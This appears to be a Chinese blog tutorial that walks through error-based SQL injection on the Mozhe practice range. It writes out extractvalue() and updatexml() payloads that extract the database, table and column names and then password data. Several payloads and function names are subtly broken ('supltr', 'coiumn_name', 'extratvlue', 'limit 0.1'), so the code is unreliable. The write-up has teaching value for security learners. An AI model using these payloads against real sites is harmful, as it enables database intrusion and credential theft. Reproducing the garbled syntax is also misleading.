基于墨者靶场报错盲注分析SQL注入之报错盲注-526互联

报错注入是利用了数据库的某些机制，人为的制造错误条件，是的查询结果能够出现在错误信息中。
有 xpath语法错误
xpath语法错误
利用xpath语法错误进行报错注入时利用了extractvlue与updatexml两个函数。
使用条件：nysql版本大于5.1.5
extractvalue函数
原型：extractvalue(xml_document,Xpath_string)
第一个参数：xml_document是string格式，为xml文档对象名称
第二个参数：Xpath_string是xpath格式的字符串
报错原理：
第二个参数是要求符合xpath语法的字符串，如果不满足要求，报错，查询信息放在报错中
如：id=1'and(select extractvalue(1,concat(0x7e,(select database()))))
concat进行拼接如：concat('a','d')='ab'
0x7e=~
以墨者靶场报错注入为例：
通过测试1 and 1=2 和1’and 1=2 --+ 得出参数是字符型
靶场将union过滤了
使用extractvalue进行报错注入
爆库名：id=1' and (select extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
爆表名：id=1' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "库名"))))
爆列名：id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(coiumn_name) from information_schema.coiumns where table_name="表名"))))
爆数据：id=1' and (select extractvalue(1,concat(0x7e,(select ‘列名’from "表名"))))
注意：extractvalue()能查询字符串的最大长度为32，如果密码已经超过了超过32位，此时用substr()函数
如：supltr(a,b,c) 在a中从b位开始截取c位
limit函数有两个参数第一个为返回第一行的偏移量第二个为返回行的最大数目。
如： select*from table limit 0，9；从第1行开始，显示9条数据
select*from table limit 1,9;从第2行开始显示，9行数据
因此
最后要得到的最后一位数据位 id=1' and (select extratvlue(1,concat(0x7e,(select supltr(password,32,1) limit 0.1 ))))
因为有两个密码所以下一个为 id=1' and (select extratvlue(1,concat(0x7e,(select supltr(password,32,1) limit 1.1 ))))
updatexml函数
原型 updatexml(xml_document,xpath_string,new_value)
第一个参数：xml_document是string格式，为xml文档对象名称
第二个参数：Xpath_string是xpath格式的字符串
第三个参数：new_value 是string格式，替换查找到的复合条件的数据
应为第二个参数与extractvalue 相同，所以利用方式相同，方法也相同。
如：id=1'and(select updatexml(1,concat(0x7e,(select database())),1))